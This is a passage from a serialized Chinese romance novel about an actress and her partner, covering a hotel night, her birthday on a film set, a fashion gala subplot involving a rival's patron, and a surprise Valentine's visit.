怎么进的酒店不知道，怎么开的门也忘了。打开房门，看到房内摆放的唯一一张大床，她才反应过来，自己到底做了什么。
跟他们镇上的住宿相比，这个酒店已经算得上舒适，宽阔的空间，看在江遥眼里，却仍有种局促的窒息。
房间内的温度要比室外高许多，程绪放开相扣的手，站在空调下，拿着遥控器调温度。
江遥彻底失去力气思考，找了张沙发坐下，捧着手机，回复小鱼的信息。
中间的这段时间，已经足够小鱼将现在的状况搞清楚。今天最大的新闻，就是程绪来组里探班过。有幸见到的人高兴得像是中了彩票，说不了几句就要捂着胸口惊叫，错过的人则悔不当初，抱怨着“怎么没人叫我”。
虽然已经预感今天大概率等不到人，看到她的回复，小鱼悬着的心还是彻底死了，「行，你自己注意。」
“这个温度可以吗？”程绪按了几下，回头问她。
“嗯？”江遥懵懵抬头，听他又重复了一遍，才点头，“嗯，就这样吧。”
时间不知不觉转过九点半，这座小城已经开始进入安眠。空调的风呼呼吹着，她的冲动，随着室温，一点点冷却。
江遥偷眼瞥过他身后的浴室，琢磨着这时候是不是应该来点友好表示，“你先洗还是我先洗？”
明明是正常的问句，在这深夜的房间里，她却没有开口的勇气。
浴室挨着进门的位置，刚刚进来的时候，她已经偷偷观察过，还好，这家酒店并没有玩什么花样，浴室和房间之间是正常的墙壁隔断。但现在，她后知后觉地反应过来一个问题，“我没有带睡衣。”
他招呼也不打一声就出现在片场，打了她一个措手不及，到后来留下来过夜，也不过是临时起意，压根没带衣物换洗。
程绪愣了两秒，才理解过来她的问题，猛地起身，拿了房卡匆匆出门，“我去买。”话音未落，人已经到了门外。
74. 一起
房间门关上，江遥立马从沙发上跳起来，跑进浴室转了一圈。洗漱台上摆放着还没开封的洗漱用品，房间一角，是他的行李箱，孤零零地挨着墙壁放着。
她将屋子巡视过一圈，又若无其事地坐回沙发上，打开墙壁上挂着的电视，将音量调大。
一开始，还能勉强维持着正襟危坐严阵以待的架势，二十分钟后，脑袋已经开始一点一点。
开门的动作其实很轻，但江遥并没有睡沉，听到响动，立马从昏昏欲睡中惊醒。
程绪站在门口，手中拎着个袋子，见她望来，往前挪了几步，低垂着眉眼，将手中的东西向前递了递，“附近的店都关门了。”
小城的生活作息和都市迥异，这样的结果其实也在预料之中，见他踌躇的样子，她反倒莫名平静了下来，伸手接过他手上的塑料袋。
是一打一次性内裤，均码的。
江遥将东西拆开，拿出一条，起身往浴室走。
走到半路，又反身问他，“有没有多的衬衫？”
程绪这次反应很快，翻开箱子，找了件衣服递过来，黑色的，和身上穿着的那件，看不出太大的区别。
浴室水声蓦地停下，按着遥控器的手指一僵。浴室门打开，江遥一边擦着头发，一边朝这边走来。
他的衬衫穿在她身上，明显长了一截。衣摆堪堪遮住大腿，袖口被松松挽起，在胳膊上堆叠。衣服的纽扣被她系得歪歪扭扭，有处地方甚至扣错了口，漏出一小片赛雪的肌肤。
程绪别开眼，不一会儿，身旁的沙发往下一陷，江遥挨着他坐下，插上电源，吹起了头发。
吹风机的“嗡嗡”声里，好闻的沐浴露香味，混合着属于少女的馨香，直往鼻孔里钻。她无知无觉般，抬着手臂，细细撩着头发。随着动作，飘来的香味更加浓郁，程绪被包裹其中，连呼吸都开始发紧。
“我去洗澡。”他站起身，收拾衣服进了浴室。
浴室水汽朦胧，密闭的空间里，他再次被她身上的味道围拢。程绪闭了闭眼睛，收敛心神，想不通自己为什么要允许她上门。
睁开眼时，刚好和毛巾架上晾着的小小一片布料对上眼神，不知何处来的风，吹得它微微晃动，似乎在嘲笑着他的口不对心。他终于忍不住，暗骂了一声。
电视的背景音还在不知疲倦地响着，江遥一边用手顺着头发，一边竖着耳朵留意着浴室的动静。几分钟过去，浴室里始终安静无声，她正想出声询问，忽然，吹着头发的手一顿，脸上表情缓缓龟裂——她的内裤，还挂在里面。
“啊……”她伸脚在沙发上蹬了两下，恨不得直接找条地缝往里钻。
还好他这个澡洗得有够久，等他出来时，江遥脸上已经看不出丝毫异色，半拥着被子，坐在床头玩手机。她飞快瞥过去一眼，不知道到底是谁怕占谁的便宜。
程绪一身浴袍裹得严严实实，只有修长的脖颈，还暴露在空气里，在白色浴袍映衬下，整个人平添了丝圣洁又禁欲的味道。
然而，她现在整个脑子都是，他的衣服给了她，那他……
打住打住。江遥双手捂着额角，试图让自己冷静下来。程绪不知道她这闹的是哪出，看来的眼神里充满疑惑。
他的头发半干，在额前耷拉着，加上这疑惑的小眼神，整个人褪去冷厉，多了丝温润柔和，看起来很好欺负的样儿。
江遥的心脏控制不住闹出震天的响声，她偷偷转回眼神，手机屏幕里，他冷着脸看向镜头前，好像别人欠了他许多钱。她伸手在他脸上点了点，指责的话还没出口，又有笑意攀上嘴角。
时间已经快指向十一点，沙发上的人，还端坐在那一动不动。她打了个哈欠，伸手关掉头上的大灯，躺进被子里，问他，“不睡吗？”
“嗯，你先睡。”
“哦。”江遥拉高被子，说不上是轻松更多，还是失落更多。
在床上滚了几圈，睡意早已经消失不见，她翻过身，看着不远处那阴影中的人，继续探头问，“你还要多久？”
程绪关掉手边的台灯，“抱歉，就睡。”
踢踢踏踏的脚步声越走越近，江遥悄悄往里侧挪了挪身子。
声音在床边停下，黑暗中，他的呼吸声清晰可闻。她悄悄绷紧身子，看他倾身靠近，伸手，拿走了床边的什么。
她伸手去摸，是摆在外侧的枕头不见了。
“晚安。”低低的声音，在她的上方响起。
江遥“哼”了一声，明显的不领情。床头的身影静了一静，她睁着眼睛，看到他弯着身子往下压过来，下一秒，冰凉的唇贴上她的额角吻了吻，“乖，睡吧。”
就这样？江遥翻过身，扯过被子盖在头上，懒得再管他想怎么样。
窸窸窣窣的声音响个不停，被子里的人丝毫不遮掩自己的动静，明明白白告诉他，我睡不安稳。程绪躺在沙发上，睁着眼睛望着天花板轻叹，他只是想来看看她罢了。
夜已经很深，除了空调的声音和她翻动发出的响声，房间里再无别的动静，江遥翻身坐起，按亮床头的小灯，心里颇有点不平衡。
她光着脚蹑手蹑脚走过去，只见程绪仰躺在沙发上，闭着眼睛，身上盖着薄薄一条被子，呼吸轻轻的，已经睡着了。
浓密的睫毛搭在眼睛上，像是蝴蝶的翅膀，翩然停驻在恬静的脸庞。睡梦中的他，藏起了疑惑的表情，也看不出冰冷的神情。
A城到这里没有直达的航班，也不知道他在路上几经辗转，才能一上午就出现在片场。
算了，放过他吧。江遥轻轻哼了声，在他唇上轻啄了一下。
蝴蝶的翅膀抖了抖，她怔了一瞬，勾着嘴角，加深了这个吻。
果然，沙发上的睡美人颤颤地睁开了眼睛，漆黑的眼里雾气蒙蒙。他定定地望着她，嘴唇紧紧抿着。
呵，起床气还挺重，见他这幅姿态，闹到现在还没睡的江遥心里那点情绪又再度涌上来，一时也顾不得尴尬，蹲在地上，梗着脖子一瞬不瞬地回望，最后咬咬牙，在他唇上来了一下。
“嘶。”嘴角吃疼，程绪终于变换了神情。眸子里大雾散尽，露出一双幽暗的眼睛，专注望来的时候，像一
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个深不见底的黑洞，里面潜藏着什么，她还来不及看懂。所以风暴来袭时，也丧失了逃跑的可能。
清瘦的手臂一把揽过她的腰身，江遥惊呼一声，身子瞬间翻转，他紧紧扣住她的手腕，未尽的话语全部被吞入唇齿之中。
程绪深深吻着身下的人，床头的小灯幽幽照亮房间的一角，温柔的灯光，方便他看清，瑰丽的绯色如何一点点爬上她的脸庞，高耸的胸脯一鼓一鼓，在错开的纽扣下起伏。他转开视线，伸手扯过遮身的薄被，在她身上一掩。
“不要。”江遥早已经意识不清，只剩下全然的本能，空调的制冷效果完全降不下她升腾的体温，她努力张口呼吸着空气，用力推拒着他的手臂。
“热。”她喃喃着。
掖好的被角再次垂落在地，程绪揽着她的身子，闭上了眼睛，一寸寸吻过她的脸庞，又惩罚似的，叼着她的耳垂轻咬含弄。
交缠的呼吸里，清冽的味道染上情欲的气息，江遥怀疑，自己会被燃尽在这烈火里。她瘫软在他身下，辗转求饶，哼哼唧唧的声音，却刺激得他更加情动。
冰冷的唇，再次封上那张娇艳的红唇，清甜的味道经由唇舌全部渡到他口中，像是山间染着晨露的野果，清新又惑人。
江遥浑身失去力气，蔫蔫地在沙发上躺着，不愿意再动。
纠缠中，他的睡袍不知何时已经大敞着领口，腰间的带子松松垮垮，好像随时都要散掉，原本严肃的人，莫名现出一丝慵懒的风情。
如她所料般，修长的脖颈下，是精壮有力的胸膛，再往下，腹肌隐隐露出一小半，她正想再看，腰带已经被重新系上，掩住外露的春光。
反观自己，被包裹得像个蚕蛹般，江遥恼恨地抬眼瞪了他一下，潋滟的眼波，满是风情摇动。
程绪喉头滚了滚，摸了摸她的发顶，微哑着声音询问，“睡了？”
她知道今晚只能就此作罢，也没再做多余的挣扎，任由他将她从被子中剥出来，低垂着眼睛，抚平凌乱的衣摆，就连扣错的扣子，也被细长的手指，重新安置进正确的位置。只剩光秃秃的脚丫，还在空气里暴露着，在他的注视下，火辣辣地烧得慌。
“鞋呢？”
江遥蜷了蜷脚趾，朝着床边的方向一指。
程绪顺着她的指示看过去，看起来并没有帮忙去取的意思。江遥撇撇嘴，心说大不了原路返回。
蓦地，她的身子腾空而起，反应过来时，已经被他抱着走出了一段距离。
他将她放到床上，拧熄了床头的开关。“晚安。”黑暗中，他的声音轻轻。潜藏的危险，被压抑在最深层。
她也忘了，平静的海水下，会有怎样的波涛涌起。拍了拍身边的位置，“一起。”
没想到他突然意料之外地好说话，低低答应着，“嗯。”
脚步声远去，很快，又朝这边走了过来。接着，是一阵窸窸窣窣的响动，有人在身边躺下。江遥攥着被角，不敢发出太大的动静。
酒店的床足够并排躺下四个人，两人各自占据着一侧，他的呼吸声微不可闻。
75. 生日快乐
她绷着神经等了一会儿，旁边的人始终没有下一步动作。眼皮越来越重，早已形成习惯的生物钟，将她拽入了黑甜的梦境。
这样近的距离，足够身边的人听清呼吸节奏的变化。程绪侧着身子，看向身边无知无觉睡着的人，睡梦中的她，那双灵动的眸子紧紧闭着，整个人看起来安静又乖巧，只有这时候，他才敢放任自己，将她一直锁在自己的眼底。
第二天，江遥醒来的时候，花了两秒才想起来自己身处何处。房间里静悄悄的，完全感觉不到另一个人的存在。她偷偷睁开眼睛，旁边的位置早已没了人，伸手摸了摸，凉的。就连盖的被子，也跟着一起消失了。
“醒了？”清冷的声线响起，程绪快步走到了床边。
室外的光，完全被窗帘挡住，她坐起身子，“几点了？”
“才八点多，要不要再睡会儿？”
江遥摇摇头。这段时间已经习惯了早起，也就是昨晚闹得久了点，才一觉睡到这个时间。
她趿拉着拖鞋走到窗边，拉开窗帘，窗外的光一股脑地透进来，在沙发旁留下深深浅浅的光斑。
盛夏的日头，照得人一丝阴霾也无，不过下午还有工作，来不及让她感慨太久。她站在窗边看了会儿，回头跟他说，“我得走了。”上扬的语调，瞬间低落了下去。
“嗯，先换衣服，吃完东西我送你过去。”程绪淡淡应着。
刷牙、洗漱、换衣服，等她再次从浴室出来，程绪已经准备好早餐在桌边等着。
江遥挨过去坐下，只见煎得金黄的鸡蛋卧在面条上，上面撒着翠绿的葱花，卖相看起来挺不错，装在大碗里，正冒着袅袅热气。这酒店工作人员动作还挺利索。
“今天吃面条？”她接过他递来的筷子，深深吸了一口气，“好香啊。”
不过怎么只有一碗，她问：“你的呢？”
“我吃过了。”
江遥也没多想，拿起筷子，专注对付起眼前的食物。
很快，她意识到不对。碗里的面条看着分量不少，其实是长长的一根堆在一起，中间完全没有隔断。她心里一咯噔，莫不是吃到传说中的长寿面了。
她迟疑的功夫里，他的声音同时响起，“生日快乐。”
江遥一口气吃完碗里的面条，才抽出空来跟他道谢，说完又笑道，“我都忘光了。”
他语气里带着丝无奈的笑，“没事，我帮你记着。”
江遥做出受宠若惊的模样，其实她都好多年没认真过过生日了，这种时候，一般也就是家人和朋友问候下，并没有什么更多的花样。还是在很久以前的学生时代，才有精力进行这些所谓的仪式感。
比如大学就认识的汪静静，这么多年，都还维持着零点给她发消息的传统。生日面条，从她有记忆开始，乔女士就不兴这个，这么多年，也就大学吃到过。
“对了我手机呢。”从早起好像就没看到过，她四处翻了翻，“是不是昨晚落沙发上了？”
最后，是在沙发的缝隙里找到的。
和她预想的不同，除了平常相熟的老友，微信上还收到了许多圈内人士的祝福，有同组待过的演员朋友，也有活动中认识的工作人员，她挑了几个回复。
小鱼看到她上线，提醒道：「记得上微博看看。」
点开微博，又是一长串感谢的话要说。江遥坐在车上，拿着手机一一回复。
手指按着屏幕的动作很快，从一边看去，只能看到翻飞的残影。她的身边，从不缺真心相待的友人。
程绪坐在一旁，等着她回完信息，将注意力再次投向自己。
“我下午应该很忙，你几点的航班？到了跟我说一声。”江遥收起手机，车子已经开到了熟悉的地带，她抓紧最后的时间跟他交代。
“嗯，你安心拍戏。”他低低应着。又不是小孩，需要被时刻注意。
“忙完我给你打电话。”她匆匆跟他挥手，推开车门，向着远处跑去。不一会儿，已经转过拐角，消失在街道尽头。
一上午的时间，江遥生日相关的词条已经上了好几个，组里的同事们，也在群里热热闹闹送着祝福。收工的时候天已经黑透，江遥正想回房间躺躺，刚到门口，就有工作人员过来通知说，导演有事要跟大家商量。
这种情况之前也有发生过，第二天要拍的戏，陈清让头一天晚上突然有了新的思路，刚开始还有人私下抱怨过，几次下来，已经习以为常了。江遥没有多问，跟着往外走。
“麻烦各位老师先在这等一会儿。”工作人员将她带到房间里，罗非凡和高靖媛已经在位置上坐着。她掩上门，退了出去。
“希望不要改太多，不然我的词儿又白背了。”高靖媛打着哈欠，跟她抱怨说，“昨晚我都没睡几个小时，今天可熬不了夜了。”
罗非凡还是维持着陌生人的姿态，肃着一张脸，坐在另一侧。见江遥过来，眼神都没带给一个。
高靖媛戳了戳她的手，悄悄跟她咬耳朵，“不知道的还以为你们是真情侣闹分手。”
江遥想说，真情侣也不带这么老死不相往来的。一句话还没来得及出口，突然，眼前一黑，房间彻底陷入黑暗。紧闭的房门被推开，陈清让推着蛋糕从外面走过来，蛋糕上插着一支花朵造型的蜡烛，摇曳的火光，映亮他身后许多熟悉的脸庞，高靖媛和罗非凡也站起了身，大家默契地拍着手，齐声唱着生日歌。
“快许愿快许愿。”高靖媛推着江遥来到蛋糕前，热情地起哄，很明显之前只是在陪着她演。
江遥听话地闭上眼睛，双手合十。
“第一个愿望，希望《春声》拍摄顺利，票房大卖。”
“第二个愿望，希望大家都能拍到喜欢的本子。”
“第三个愿望……”江遥笑笑，“第三个愿望我就留给自己，暂时先保密。”
“吹蜡烛吹蜡烛。”见她想睁眼，高靖媛又赶忙催促。
江遥一口气吹灭蜡烛，又有人赶忙递过蛋糕刀，江遥接过，给大家分切着蛋糕。
“谢谢遥遥姐。”
“江老师生日快乐。”
祝福声此起彼伏。
这已经是她今天吃的第三轮蛋糕了。
洗完澡躺到床上，江遥还觉得这一天有点恍惚，挑了几张照片发了微博，统一感谢了大家的祝福。很快，评论区又再次被粉丝的祝福淹没。<
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p>许久没有动静的朋友圈也再次更新，“我很快乐，谢谢。”
配图是两张图片，一张是一碗看着平平无奇的面，还有一个是剧组的大蛋糕，仔细看，还有个小的被P在一旁。
小鱼卧在床上，第一时间点了个赞。怪不得说吃不下她的蛋糕了呢，果然是在外面吃饱了。
“你正常点。”江遥揪了个枕头丢过去，小鱼伸手接住，悠悠提醒她，“你要不要拿起手机照照。”看看是谁不正常。那嘴角的笑意，就没见停下。
江遥的朋友圈一向都严格分组，这种非官方的动态，能看到的估计也就几个亲朋好友。直觉告诉汪静静，这条平平无奇的动态里，一定藏着什么她不知道的猫腻。
她滑动手指，将图片放大再放大，怎么看怎么平平无奇，没研究出个结果，反倒调动了久远的记忆。
“不会吧……”她喃喃着。大好的日子里，又不好找江遥求证。说不定是自己想多，她自我安慰着。随手点了个赞就划过。
窗外月亮高悬，在城市里，只能看到零星的几颗星星，稀疏地点缀着夜空。说好忙完联系的人，除了收工时匆匆回复了句“知道了”就再也没了动静。微博上，她的最新动态，评论已经堆起了几万层。程绪放下手机，没再打扰她的好梦。
「你怎么都不理我。」她却诚心不让他好过，昏昏欲睡之际收到了质问的提醒。
「你不是在忙？」
「要不要这么有边界感，你过来也没有跟我打商量。」反正人也不在身边，江遥才不管他怎么想。
程绪揉揉额头，反省道：「下次一定跟你报备。」
下次。江遥咀嚼着这个词，脸上的笑意再次荡开，「嗯，下次也要一起。」
尽管回得含糊，他还是马上知晓了她说的什么，「嗯。去睡。」
这个煞风景的人又宿管员上身，江遥不情不愿回，「知道了。」
程绪没有再回复。
在组里的日子每天都拉得很长，回看的时候，又觉得时间过得无比匆忙。
盛夏将尽的时候，春花的一切彻底被摊开在孙楷面前，这个被拐来的女孩，在逃出大山后，又返回这片贫瘠的土地，一日日守着那个帮助过她的可怜母亲，充当着矇昧的乡民们看向外界的眼睛，托举着山里孩子走出大山的梦。
随着剧情的进展，罗非凡和江遥又恢复了邦交。
八月底，罗非凡杀青。江遥返回A城，参加H&F的品牌活动。
进组几个月，这是江遥第一次请假，提前很久就跟导演报备，当天完工后过去，第二天开工前回，陈清让也没为难，将她当天的戏份调到了上午集中拍。
傍晚时分，江遥落地A城。品牌工作人员直接开车将她带往活动现场。
梳妆打扮，用的全是之前合作过的搭档，本就完美的五官，轻轻一点，就足以令人心旌摇曳。衣服也早早准备好，品牌特别定制的礼服裙，衬托出高挑饱满的身形。
H&F七夕晚宴，到的都是时尚名流，创始人Freya亲自到场助阵，整场宴会的含金量直接飙升。有门路的艺人，使劲浑身解数，千方百计拿到一张邀请函，试图朝时尚圈迈近一步。
76. 惊喜
江遥作为H&F唯一代言人，由品牌高层亲自陪同，大方接受来自四周的打量。自合作以来，H&F丝毫没掩饰对江遥的青睐，亮眼的市场数据，则是她给出的最好反馈。
此时，江遥和Freya凑在一起，脸上挂着恰到好处的笑，看起来相谈甚欢。和谐的场景，落在有些人眼中，却只是让心火烧得更旺。
当然看客们并不知道，这两位言笑晏晏的人，话题其实进展得稍微有点不顺。
“不好意思Freya，下次我一定……”
Freya嘴角噙着笑意，直接拆台，“不要以为我在国外待了几年，就听不懂汉语的博大精深。”
江遥露出一副讨饶的表情：“实在是时间来不及，我凌晨的飞机，明天还得拍戏。”
来回奔波不易，Freya完全能够体谅，跟她商量：“或者你坐我的车走，我们车上说？”
再推脱好像也说不过去，江遥沉默一瞬，直接答应了下来。计划永远赶不上变化，谁知道Freya会临时过来。江遥自我安慰着，还好也没跟人提前约定什么。
江遥从来是个没有多话的合作者，就算是过分的请求，只要在合理范围内，她也能淡淡地消化掉，这一脸纠结的样儿，属实是很难得。Freya欣赏够了她的表情，轻笑着凑近，用只有他们两人才能听到的音调说：“我就不打扰你过节了。”
江遥微怔，愣愣地看着Freya走远，也彻底失去了反驳的最佳时机。
很明显吗？
从进组以来，江遥就没再在公开场合露面，关于《春声》的消息，官方并没有更多报道，但这一点不妨碍大家对它的看好。看着江遥，就像看到一条闪闪发光的大腿。
身边的人不自觉向江遥围拢，方琦定了定神，也扬起笑脸，迈步走了过去。
“好巧，又见面了。”还没等江遥想明白是哪里漏了馅，一道声音突然横插进来。
许久未见的方琦踩着一双恨天高，摇曳生姿地来到了面前。
江遥倒也不意外在这里能碰到熟面孔，本来之前方琦和H&F就有接触，现在又有寰宇的支持，想弄到一张邀请函完全不是难事。
H&F的主场，她不想将场面弄僵，却也无心跟她多做纠缠。方琦却看不懂眼色般，从穿着打扮攀谈到新剧的进展，仿佛两人是许久未见的朋友，互相问一问近况再自然不过。
“你那戏还没杀青吧，陈导怎么肯放你出来？”
有完没完，江遥不想浪费时间再跟她磨叽，正想终止话题，一工作人员挤了进来，“不好意思，借用一下江老师。”
“失陪一下。”江遥环视一圈，跟大家点头致意后，便跟随工作人员离开。
“切，真当这是自己家地盘了。”见她走远，有人控制不住，冷声发笑。
“就是，也太不给大家面子了吧。”人群里，有谁小声附和。
身边的同伴立马使了个眼色，提醒她注意场合。这里人多口杂，有些情绪并不是非要这时候宣泄。
那人还想再说，人群后，有道声音懒懒传来。“面子是自己给的。”
大家顺着声音望过去，那人看清来人，立马切换表情，讪笑着迎上前：“棠棠姐，您怎么也来了。”那谄媚的嘴脸，恨不得直接下跪。
又是个软骨头。方琦心内冷笑。
那人才不管大家如何看她，先把眼前这一关过去才是重中之重。她和孟棠曾经同属一个经纪公司，虽然顶着大前辈的名头，但孟棠早已半退圈，总有不知天高地厚的新人，想跑她面前耀武扬威。
可是公司内部曾有传言，孟棠背后，是有人保的。在糖絮CP闹得风生水起时，大家心照不宣，只当程绪就是那幕后人物，默契地不敢招惹。结果后来程绪一再辟谣，有人的心思就动了，说不定，传言有误呢？
事实证明，有些传言的产生，并不是空穴来风。尽管孟棠现在已经自立门户，她却还没忘掉小姐妹当初那心如死灰的面容。那是他们那一批最有资质的新人，此后，圈内再也没有这号人的身影。
孟棠昂着头步履如风，声音不重，却带着不容置疑的警告，“有些人，配吗？”
她恭敬地弓着身子，等着孟棠走过去，才直起身来，擦了擦脑门上的虚汗。
孟棠这句话没有特定指向谁，那些心里有鬼的人，却像是被隔空扇了一巴掌，脸上火辣辣地疼。拉不下面子，只能转头掉转矛盾。
方琦不知道自己用了多少力气，才压下心中的恶意，尽量从容地转身，无视身后那些狗咬狗的声音。
在这个圈子里，只有站到最后的人，才有资格笑着说起来时的种种。下一场比拼，鹿死谁手还未定，这些见风使舵的人，最好能永葆初心。
“今晚还过来吗？”她忍着战栗，打给那个不知在哪鬼混的人。进组几个月，也让她短暂地逃出升天，得到一丝喘息的空间。
张导到底年纪大了，难免力不从心，她只需要摆出一副兴奋的表情，随口夸上几句，就能哄得他激动难抑。那神情，让方琦忍不住怀疑，自己私下的演技，应该比在镜头前更为打动人。
和张导不同，朱富春明显不是那么好哄。电话中能听到隐隐约约的尖叫声，像是欢愉，又像是痛楚。她提着心，等着那边的下一步指令。
朱富春皱皱眉头，有些事情，他本以为用不着挑破，看来这个女人，已经完全忘了自己的身份。
床上的女孩喘息着追过来，夺过他的手机，微喘着攀上他的脖颈，腻着声音，喃喃说着情话。
方琦知道，这是他的新欢，在跟被抛下的过客宣誓主权，也是他，为她定好的终章乐。
她忍着恶心，旁听完这场高潮迭起的剧目。不知过了多久，电话里重新归于平静，有踢踢踢踢的脚步声走近。
朱富春捡起地毯上的手机，看着屏幕上显示的通话时长，扯了扯嘴角，“嘿”地笑出声：“方小姐挺有雅兴。”
好不容易等到他忙完，方琦赶紧出声：“朱总，请
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您给我十分钟。”
“你以为还有跟我谈条件的资本？”他用的是“还”。朱富春对自己的枕边人，自认宽容。
但是，他身边来往的女人太多，方琦，只是其中，毫不起眼的一名。她尽力攀缘着这棵大树，吸食其中的养分，等着被抛下的那天，能足够从容。
方琦也没想瞒，直接承认，“对不起朱总，是我一时鬼迷心窍，是张导他霸王……”
“你就让我听这些废话？”朱富春听起来已经很不耐烦，方琦脑子急转，不知该怎么挽回这可以预见的颓势。慌乱中，脑海里突然蹿过那个高高在上的人，“朱总您先别挂朱总。”她匆忙喊出声，稳了稳神，继续抛下诱饵，“江遥您还记得吧？”
对面顿了顿，方琦心里一紧，不知道自己这冲动的话语，能不能收到回音。
“给你十分钟。”朱富春报了个地址，直接掐断了电话。
方琦勾勾嘴角，还好，她赌赢了。没想到这种男人，也逃不过皮囊的吸引。
“麻烦等我一会儿。”地下停车场，江遥匆匆拉开车门，看着电梯上跳动的数字，焦躁地再次点进微信。
几分钟前的信息，现在都还没有回复。她只记着想给他个惊喜，活动散场就急忙往这边赶，却忘了A城的夜晚，本就是车流高峰，逢上节日，更是寸步难行，也忘了跟他确认一声，今晚是否出门。
晚上十一点，江遥推开门。房间里鸦雀无声，黑暗笼罩着寂静的空间，她摸索着打开灯。
灯光乍亮，江遥用手遮了遮眼睛，几个月没见，这里的一切熟悉而陌生。她放轻动作，像是一个外来者，摸索着踏入传闻中的领土。
拖鞋还摆放在记忆中的位置，他的那双，不见了踪迹。她弯腰换下鞋子，提着包往里走。沙发上的抱枕，孤零零地窝在角落，看她大摇大摆地闯入。
书房的灯也是暗的，这个点，他应该是睡了。
卧房的门紧紧闭着，这是独属于他的场所，江遥从未踏足。虽然没有明文规定，两人都恪守着本分，除了第一天带她参观时，他也再未踏入过她的卧室。
何为还在楼下等着，就算把他吵醒也待不了多久，江遥将抬起的手又放下，今天第二次感慨道，计划赶不上变化。亏她还千方百计瞒着要回A城的消息，打算给他个惊喜，谁知道连人都没见着。早知道，她一定提前警告，没看到她不准睡觉。
就是可惜了提前准备好的礼物，甚至都没有机会当面送出。
“希望你明天能第一时间看到吧。”江遥转身向门口走去，身后的玩偶随着绳子一荡一荡，她的心也跟着飘飘荡荡。
脚步越走越慢，最后，在门口停了下来。
江遥看了看时间，还有十几分钟，就必须出发去机场。她快步走回他门口，伸手轻轻一推，还好，他没有锁门的习惯。
紧闭的房门无声敞开，她借着门外透进来的光，摸索着按亮了床头的灯。
单薄的被子搭在身上，他静静睡得香甜。
77. 狗仔
情人节的晚上，街道两旁，捧着花束的男男女女亲昵地相伴而行，也有独自埋头匆匆赶路的人，恨不得脚下生风，看脸上的表情，说不定，在这个城市的某个角落，正有人翘首在等。
车里车外，隔开两个世界。
程绪收回目光，驾驶位上，坐着的司机还是熟面孔。年复一年，似乎没有丝毫改变。
当然，也还是有点区别的。
去年还坐在这里的杨越，现在应该已经和某个女孩碰上了面。
周颂那个闲不住的人，能把所有节过成自己想要的气氛，趁着这大好机会，闹着非要叫他一起参加单身聚会。
“哎呀没别的意思，来的都是大老爷们。”如果真是乱七八糟的宴会，他也不敢张这个嘴。
“我去不合适。”程绪一口回绝。周颂想了半天都没想明白，不合适的点究竟在哪儿。
“他到底什么意思？”一个人琢磨不出结果，他直接将电话打给了齐淮，让他帮着参谋参谋。齐淮正忙着和自己的“新欢”磨合，才没空跟他在那儿瞎扯，“没事儿我挂了。”
“你就抱着你那几部电影过去吧你。”周颂跟他话不投机，先把电话撂了。
《春声》拍摄进入高潮后，每天的任务都很重，江遥丝毫不敢懈怠，几乎将全部时间和精力都投给了角色。上次两人聊到情人节安排，她就说过当天被排得很满，当然也是在向他释放一种信号，不要来探班。
路上行人来来往往，成双成对的人看得人眼酸，程绪早早回了家。
「今天很忙，你乖乖的。」
聊天框里，躺着她最新的回复。想再说点什么，又怕耽误她工作。十点刚过，他就上了床，不知不觉，睡了过去。
程绪这一觉睡得并不安稳，迷迷糊糊中，听到有脚步声接近。睁开眼睛，只见暖黄的灯光下，江遥穿着一身白衫，站在床头，笑容绚烂，如同夏日绮梦。
“我吵醒你了？”她笑着问。
你收工了？程绪扬起嘴角，看清眼前的环境，又不敢出声。忙着拍戏的人，怎么会突然出现在家中，无非是自己思念过剩。他怕出声把她吓跑，又下意识地伸手，想将她拉近一点儿。
江遥正弯着腰跟他说话，谁知道这人一声不吭直接上手，一瞬间天旋地转，还好手在床沿上扶了下，才没直挺挺往他身上砸。
她瞪起眸子，横他一眼，程绪兀自沉浸在自己的情绪中，根本接收不到她的眼神。远在千里的人，从云端跌入他的怀中，他伸手将她抱紧，惬意地闭上眼睛，“真好。”
从清早起来忙活到现在，江遥几乎一刻没有停，在路上的时候，她就想过他见到她时可能会有的反应，惊喜应该是有的，就是不知道会表现出几分，谁叫这人向来都是一副表情。站在黑暗的空间里，她也想过，这样招呼也不打一声地回来，是否会打乱他的安排。
然而现在，她安静地窝在他怀中，任由他将她越抱越紧，一晚上的奔波，似乎就只为在此短暂停留。熟悉的气息笼罩下，身心不由自主地跟着一点点沉静下来。
可惜时间不允许她贪念太久，她从他怀里抬起头，“我只请了一天假，马上就得走。”
怎么就连在梦里，都有那么多事出来挡路。程绪烦躁地皱起眉头，拉着她重新躺回去，又紧了紧手臂，丝毫没有松手的意思。江遥在他怀里换了个姿势，无奈道：“何为还在楼下等我。”
“别走。”他下巴在她头顶蹭了蹭，她看不到他表情，光听声音，心就莫名软了下去。
“你帮我跟陈导说说？”她笑道。
一会儿何为一会儿陈导，她的世界里，怎么总有那么多无关紧要的人。程绪不悦地皱了皱眉，不说话了。
一句打趣完全没有收到回应，江遥从他怀里挣出来，就看到他眉头微微蹙起，一个人不知道在较哪门子的劲。眼睛看似清明，视线的落点，却似乎是跟她隔着一层。
“你到底醒没醒？”她捧着他的脸，促狭地捏了捏。
她下手不重，就像一个投进波心的小石子，带起涟漪阵阵。眼前的人，脸上挂着盈盈笑意，清亮的眸子里，带着一丝娇嗔。有温热的暖意从皮肤相接处蔓延开来，原来，她是真的回来了。
程绪从怔愣中缓过神，握住她正在他脸上作弄的手，顿了顿，起身下床，“我送你下去。”
江遥脸上的笑意还没收住，就被迫跟着他往门外走去。瞧瞧，这翻脸就像翻书似的，也不知道刚刚拉着她磨叽的人是谁。
他步子迈得很大，绷紧的脸部线条，严肃得似乎要拉着她去参加什么国际会议，如果，主办方不介意穿睡衣的话。
江遥忍不住想笑，拉了拉他的手，程绪偏头看来，脸上还是那副神情，眼里却是温热的，蓬松的头发睡得有点凌乱，让他整个人显得更加温顺。不是赶时间吗？她轻易读懂他的疑问。
一旁的房门把手上，毛绒绒的小狗也正瞪着圆溜溜的眼珠看着她，跋山涉水跟着你过来，怎么忍心把我丢在这儿。
一大一小将她夹在中间，江遥脸上的笑意再也藏不住，勾过一旁委屈巴巴的小狗，握住他的手，摊开，“喏，给你的。”
憨憨的白色小狗睁着豆大的眼珠，和他面面相觑。
耳朵太塌、腮红太重、眼睛间距太窄，就连毛色，都是不耐脏的白色。程绪一眼看出诸多缺漏，却僵直着手，声音轻飘飘的，“你做的？”
“怎么样，可爱吧。”江遥得意道。
其实不用她回答，他就知道了答案。《春声》的女主需要熟练的手上功夫，为了达到导演的要求，她私下花了很多心力来练习。没想到在紧张的拍戏间隙，还藏有一份属于他的礼物。
她昂着头，眼里满是笑意，如果身后有尾巴，说不定已经翘到了天上。
“嗯，可爱。”他顺着她的心意答。
